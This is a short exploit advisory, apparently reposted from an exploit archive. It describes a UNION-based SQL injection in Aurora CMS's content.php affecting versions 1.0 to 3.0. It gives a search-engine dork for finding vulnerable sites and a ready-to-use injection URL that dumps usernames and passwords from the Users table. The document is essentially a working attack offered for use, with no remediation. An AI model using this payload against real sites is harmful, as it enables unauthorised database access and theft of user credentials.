Aurora CMS Remote SQL Injection Exploit

=======================================
Aurora CMS Remote SQL Injection Exploit
=======================================

# Exploit Title: Aurora CMS Remote SQL Injection Exploit [content.php]
# Date: December 22nd, 2009
# Author: Sora
# Software Link: http://www.auroracms.com.au/
# Version: 1.0, 2.0, and 3.0
# Tested on: Windows and Linux
------------------------------------------------
> Aurora CMS Remote SQL Injection Exploit

> Vulnerability in: content.php 
> Google dork: "Aurora CMS"
 
Aurora CMS suffers a remote SQL injection exploit in content.php.
 
The type is UNION statement SQL injection.
 
# Code: http://www.site.com/content.php?id=-5+UNION+SELECT+ALL+1,2,3,4,group_concat(Username,0x3a,Password)+from+Users--



#  0day.today [2018-03-02]  #